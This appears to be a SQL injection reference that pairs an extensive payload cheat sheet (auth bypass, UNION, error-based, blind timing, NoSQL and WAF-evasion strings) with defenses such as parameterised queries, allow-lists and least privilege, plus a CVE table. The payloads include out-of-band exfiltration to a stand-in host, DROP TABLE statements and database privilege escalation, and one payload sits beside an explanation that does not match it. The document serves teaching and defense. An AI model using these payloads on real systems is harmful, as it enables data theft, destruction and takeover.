SQL injection is a flaw where attacker-controlled input is concatenated into a database query, letting it escape the value slot and run as code. Variants split into in-band (UNION, error), blind (boolean, time, error-based blind) and out-of-band (DNS/HTTP exfil) channels, with second-order, stacked, NoSQL, ORM and JSON-SQLi sub-classes that each bypass different controls.
The single defense that actually works is parameterised queries — they pre-compile the statement so the parser sees code and data as separate inputs. Allow-list validation handles non-parameterisable positions like ORDER BY columns, and least privilege at the DB layer caps blast radius when the first layer fails.
The vulnerable query channel returns the data directly to the attacker via UNION-appended rows or coerced database error messages.
admin'--
Closes the username literal and uses the SQL line comment to drop the trailing password check, so the WHERE clause matches on username alone. On MySQL the dash-dash needs a trailing space or a # comment.
' OR 1=1--
Closes the literal string and injects a predicate that is always true, widening the WHERE clause to every row, then comments out the rest of the original query so it still parses.
' ORDER BY 1-- ' ORDER BY 2-- ...
Increments the ORDER BY ordinal until the response errors or changes, revealing the column count of the original SELECT — a precondition for a working UNION SELECT.
' UNION SELECT NULL, @@version, NULL--
Pads the appended row with NULLs to match the original column types, then swaps one NULL for a string-typed value. The first printable column reveals which slot can carry exfiltrated data.
' AND 1=CAST((SELECT current_user) AS int)--
Postgres cannot cast a non-numeric string to int and includes the offending value in the error text, leaking the subquery result via the error channel even when no UNION column is printable.
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))--
Feeds an invalid XPath expression containing the subquery result; MySQL surfaces the offending input verbatim in the error message, leaking the version string without needing a UNION.
' AND 1=CONVERT(int,(SELECT @@version))--
Forces MSSQL to convert the version string to int; the engine raises a 'Conversion failed' error that includes the original string, leaking it through the error channel.
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT banner FROM v$version WHERE rownum=1))--
Calls Oracle's DRITHSX.SN function with a non-text first argument so the error reflects the second-argument subquery, leaking version banner data without UNION support.
No data is returned in the response, but TRUE and FALSE branches produce different response bodies, lengths, status codes or render tokens.
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
Tests one character of a target string at a time; if the predicate is true the page renders the original content, if false it differs. Iterating with binary search via < / > halves request count.
' OR username LIKE 'admin'--
Uses LIKE in place of = so payloads land even when the application or WAF strips the equals sign; semantics are identical for non-wildcard literals.
' OR username IN ('admin')--Replaces the equality check with set membership; lets the predicate survive WAFs that allow-list operators by removing = from the input.
' OR username BETWEEN 'admin' AND 'admin'--
Encodes equality as a degenerate range; still WAF-bypass useful when both = and IN are blocked. The two-bound form keeps semantics identical to a strict equality check.
' AND 'a' RLIKE 'a'--
Uses RLIKE / regex match as a boolean true generator; useful when string literals trigger heuristic blocks but regex operators slip through.
No content delta exists, so the attacker conditionally calls a sleep primitive and measures response RTT to leak data one bit at a time.
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)--
IF() returns a 5-second delay only when the predicate is true; the RTT difference becomes the side channel. Median three trials to filter network jitter.
'; SELECT CASE WHEN (SUBSTRING(current_database(),1,1)='a') THEN pg_sleep(5) ELSE pg_sleep(0) END--
CASE evaluates one of two pg_sleep calls; the timing of the response leaks the boolean result. Stacked-query terminator is required because Postgres allows multiple statements.
'; IF (SUBSTRING(DB_NAME(),1,1)='a') WAITFOR DELAY '0:0:5'--
MSSQL only delays when the IF predicate is true; the engine's WAITFOR primitive is the canonical timing oracle for time-based blind on SQL Server.
' AND 1=(CASE WHEN (SUBSTR(user,1,1)='S') THEN dbms_pipe.receive_message(('a'),5) ELSE 1 END)--dbms_pipe.receive_message blocks for the requested seconds when the named pipe is empty, giving Oracle a time-based oracle without a true sleep function.
'; SELECT CASE WHEN (1=1) THEN (SELECT count(*) FROM generate_series(1,10000000)) ELSE 1 END--
When pg_sleep is revoked, generate_series with a large bound burns CPU long enough to be observable as a timing delta — useful against hardened roles.
Exfiltrates data through DNS, HTTP or SMB callbacks when the response gives no observable in-band or timing signal — Burp Collaborator / Interactsh tier.
' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT user()),'.x.oast.example\\a'))--On Windows MySQL with file privilege, LOAD_FILE on a UNC path triggers a DNS lookup whose hostname carries the exfiltrated value; the Collaborator host records the encoded data.
COPY (SELECT '') TO PROGRAM 'nslookup `whoami`.x.oast.example';
Postgres COPY ... TO PROGRAM shells out to nslookup, embedding the result of `whoami` (or any subquery) in the DNS request. Requires the role to hold the pg_execute_server_program grant.
'; EXEC master..xp_dirtree '\\\\x.oast.example\\a'--
xp_dirtree resolves a UNC path before listing it, generating SMB and DNS lookups that an attacker-controlled responder logs — the canonical MSSQL OAST primitive when xp_cmdshell is disabled.
' UNION SELECT UTL_HTTP.request('http://'||(SELECT user FROM dual)||'.x.oast.example/') FROM dual--UTL_HTTP makes an outbound HTTP call whose hostname carries the subquery result; works in Oracle versions where the package ACL still permits external resolution.
SELECT EXTRACTVALUE(xmltype('<!DOCTYPE r [<!ENTITY % p SYSTEM "http://'||(SELECT user FROM dual)||'.x.oast.example/">%p;]>'),'/l') FROM dual;Builds an XML doc with an external entity whose system identifier carries the leaked value; Oracle resolves the entity over HTTP, exfiltrating data even when UTL_HTTP is restricted.
Payload is stored or delivered cleanly through one path, then executed unsafely on a later code path — or stacked into a separate statement entirely.
'; DROP TABLE audit_log--
The semicolon terminates the original statement and starts a new one in the same call; works with mysqli_multi_query, Postgres and MSSQL drivers, but Oracle does not support stacked statements.
robert'); DROP TABLE students;--
Stored verbatim by the input page (often as a username) then concatenated into a query on a later admin/report path — the canonical Bobby-Tables shape. The first-write path can look benign while the second-read path is exploitable.
' UNION SELECT '<inner_payload>' INTO @x; PREPARE s FROM @x; EXECUTE s--
Injection point feeds another query that becomes the actually-executing statement; the primary input controls a value used to build a downstream query. Useful when the first sink only echoes status, not data.
'; EXEC sp_addsrvrolemember 'app_user','sysadmin'--
Once a stacked statement lands, escalates the application's database role to sysadmin if the current login holds the necessary grants — common on misconfigured legacy estates.
'; ALTER USER app_user WITH SUPERUSER--
Stacked ALTER USER promotes the application role to SUPERUSER when the connection is already a privileged role; demonstrates why least-privilege at the DB layer is non-negotiable.
Operator injection in document stores, raw-fragment APIs in ORMs, and JSON-operator payloads that double as WAF-bypass primitives.
{"username":"admin","password":{"$ne":null}}Replaces the password value with a $ne operator that matches any non-null stored hash; the application logic treats a found document as a valid login. Classic NoSQL operator injection.
'; return true; //
Inside a $where clause Mongo evaluates the string as JavaScript; closing the literal and returning true makes every document match. sleep() inside $where also gives a time-based oracle.
col = #{user_input}Hibernate HQL, ActiveRecord raw .where, SQLAlchemy text(), Sequelize.literal and knex.raw all interpolate strings without parameterising. WSTG-INPV-05.7 lists every ORM's back-door API.
'/**/OR/**/'{"a":1}'::jsonb @> '{"a":1}'::jsonb--Team82's primitive: rewrites OR 1=1 using JSON containment so legacy WAF signatures looking for arithmetic equality miss it entirely. Still landed against unpatched stacks in 2025.
'/**/OR/**/JSON_EXTRACT('{"a":1}','$.a')=1--Same Team82 family on MySQL: JSON_EXTRACT returns a numeric 1, satisfying the equality without any classic 1=1 / OR-true literal that signature-based WAFs fingerprint.
Whitespace, comment, encoding and operator tricks that keep the SQL semantically valid while sliding past signature-based filters.
SELECT/**/password/**/FROM/**/users
Substitutes empty C-style comments for literal spaces; MySQL and Postgres tokenisers ignore them, while regex-based WAFs that anchor on \s+ between keywords miss the match.
SELECT(password)FROM(users)
Removes whitespace by relying on parentheses as token boundaries; valid SQL on most engines and rarely fingerprinted because most WAF rules assume keywords are space-separated.
SELECT%0apassword%0aFROM%0ausers
Encodes whitespace as %0A; many WAFs decode once but normalise differently from the database driver, so the bypass survives one decode pass while still parsing correctly server-side.
%27%20OR%201%3d1--
URL-encodes the single quote, the space and the equals; covered by the 2025 academic mutation strategies that extend the standard 13 obfuscations and beat naive signature WAFs.
\xa1' OR 1=1--
Under BIG5 client + EUC_TW server encodings, PQescapeLiteral and PQescapeString fail to neutralise the quote; psql callers that built command-lines from these were exploitable. Patched in libpq 17.3 / 16.7 / 15.11 / 14.16 / 13.19.
Team82's 2022 disclosure that PAN, AWS, Cloudflare, F5 and Imperva WAFs missed JSON-operator SQL like "'{\"a\":1}'::jsonb @> '{\"a\":1}'::jsonb"; signatures shipped from 2023 but legacy fleets and self-hosted ModSecurity rulesets still miss it.
'/**/OR/**/'{"a":1}'::jsonb @> '{"a":1}'::jsonb--Two 2025 academic mutation engines (arXiv 2501.14008 and ACM TOSEM 3788286) generated payload corpora that drove +93% false-negative gains against unhardened WAFs and conversely +96% true-reject gains once used to retrain. Use the open corpora to gap-test your own WAF before an attacker does.
PQescapeLiteral / PQescapeIdentifier / PQescapeString[Conn] failed to neutralise quoting under BIG5 client encoding combined with EUC_TW or MULE_INTERNAL server encodings. Any psql shellout that built a command line through these helpers became injectable. Patched in 17.3 / 16.7 / 15.11 / 14.16 / 13.19.
psql -c "SELECT '\xa1' OR 1=1--'"
When pg_sleep is revoked, generate_series(1,10000000) (CPU), repeat('a',1<<27) (memory pressure) and a recursive CTE counting to 5e7 all produce observable timing deltas without needing the sleep grant — useful against hardened roles.
'; SELECT count(*) FROM (WITH RECURSIVE t AS (SELECT 1 UNION ALL SELECT n+1 FROM t) SELECT n FROM t LIMIT 50000000) s--
CVE-2026-42208 in LiteLLM was exploited within ~26 hours of the GitHub advisory, demonstrating that LLM-adjacent infra is a first-class SQLi target. The same weak-input-handling assumptions that produce classic web-app SQLi reappear at the inference proxy boundary.
ElectricSQL CVE-2026-40906 was an error-based SQLi in the /v1/shape endpoint of a Postgres sync engine — under-tested replication APIs are a fresh injection surface. Treat every gateway that compiles user-supplied filters into SQL as in-scope for parametrisation review.
The DB plan-caches the statement before parameters bind; user input cannot escape the value slot because the parser has already separated code from data. Parameter binding is per value — table and column names cannot be parameterised, so combine with allow-listing for those positions.
// Safe: driver sends statement and values separately — no string concat
import { sql } from 'drizzle-orm';
import { db } from '@/lib/db';
import { users } from '@/lib/db/schema';
export async function findUser(email: string) {
return db
.select()
.from(users)
.where(sql`${users.email} = ${email}`);
}
// Or the raw pg client equivalent:
// await client.query('SELECT * FROM users WHERE email = $1', [email]);
Sort columns, ORDER BY direction, table names and dynamic schema selectors cannot be parameterised. Map the user value through a fixed dictionary so the only values that can reach the query are values you wrote.
const SORTABLE = {
created: 'created_at',
email: 'email',
status: 'status',
} as const;
function safeOrderBy(input: string): string {
const col = SORTABLE[input as keyof typeof SORTABLE];
if (!col) throw new Error('invalid sort column');
return col;
}
A stored procedure is only safe if every internal SQL it builds is parameterised. EXEC @sql, sp_executesql with concat, EXECUTE IMMEDIATE — all of these re-introduce injection at exactly the boundary you tried to harden. Audit every proc body, don't rely on the wrapper alone.
Cast suspect input to the strictest non-string type (int, bool, date, UUID) before it touches any query path. A value that passes a UUID validator cannot also carry a SQL fragment.
import { z } from 'zod';
const Params = z.object({
userId: z.string().uuid(),
page: z.coerce.number().int().min(0).max(10000),
});
export function parseQuery(input: unknown) {
return Params.parse(input);
}
Application roles should not own schemas, cannot read pg_shadow / mysql.user, cannot COPY ... TO PROGRAM, cannot xp_cmdshell or xp_dirtree, and have LOAD_FILE / INTO OUTFILE disabled. When the first defense fails, this caps blast radius from 'full DB takeover' to 'whatever the role could already do'.
ORMs are not magic. raw(), extra(), text(), HQL fragment APIs, Sequelize.literal, knex.raw and EntityManager.createNativeQuery are all back-doors that take strings and run them. Add a lint rule or a code-review checklist to gate every callsite.
Per-statement timeouts neutralise blind-time exfil; PgBouncer / proxy with query_wait_timeout caps long-running probes; WAF acts as alarm rather than wall; query-shape anomaly detection (pg_stat_statements outliers with OR 1=1 shapes) surfaces bypassed payloads. None of these replace parameterisation — they limit damage when it fails.
When a UNION-based dump succeeds against a hardened-but-still-vulnerable app, column-level encryption ensures the attacker leaves with ciphertext. Combine with a KMS-managed key that the application role cannot read directly.
| CVE | Year | Title | Description |
|---|---|---|---|
| CVE-2026-42208 | 2026 | LiteLLM AI-gateway pre-auth SQL injection | Pre-authentication SQL injection in the LiteLLM AI gateway. CVSS 9.3. In-the-wild exploitation observed roughly 26 hours after the GitHub advisory was published, illustrating that LLM-adjacent infrastructure is now a first-class SQLi target. |
| CVE-2026-42087 | 2026 | OpenC3 COSMOS Time-Series DB SQL injection | Critical SQL injection in the OpenC3 COSMOS Time-Series Database component. CVSS 9.6, published 2026-05-04 — affects telemetry and command-and-control deployments that use COSMOS as their TSDB front-end. |
| CVE-2026-40906 | 2026 | ElectricSQL /v1/shape error-based SQLi | Error-based SQL injection in ElectricSQL's /v1/shape endpoint against the underlying Postgres. CVSS 9.9, published 2026-04-21. An authenticated user could read, write or destroy the database; demonstrates that sync-gateway and replication APIs are an under-tested injection surface. |
| CVE-2026-27681 | 2026 | SAP product-family critical SQL injection | Critical SQL injection in the SAP product family covered by the 2026 CCB advisory. Affects core ERP integrations and reinforces that enterprise SaaS suites continue to ship classic-shape SQLi in 2026. |
| CVE-2026-7489 | 2026 | Sunnet CTMS SQL injection | SQL injection in Sunnet CTMS, CVSS 8.8, published 2026-05-02. Illustrates the long tail of regional CMS / ticketing platforms still missing parameterisation. |
| CVE-2025-1094 | 2025 | PostgreSQL libpq quoting bug under non-ASCII encodings | PQescapeLiteral / PQescapeIdentifier / PQescapeString[Conn] failed to neutralise quoting under BIG5 client + EUC_TW / MULE_INTERNAL server encodings. psql callers that built command-lines from these helpers became injectable. Patched February 2025 in libpq 17.3 / 16.7 / 15.11 / 14.16 / 13.19. |
| FG-IR-25-151 | 2025 | Fortinet GUI unauthenticated SQL injection | 2025 Fortinet PSIRT advisory covering an unauthenticated SQL injection in the management GUI. Reinforces that perimeter security devices remain a high-value SQLi target. |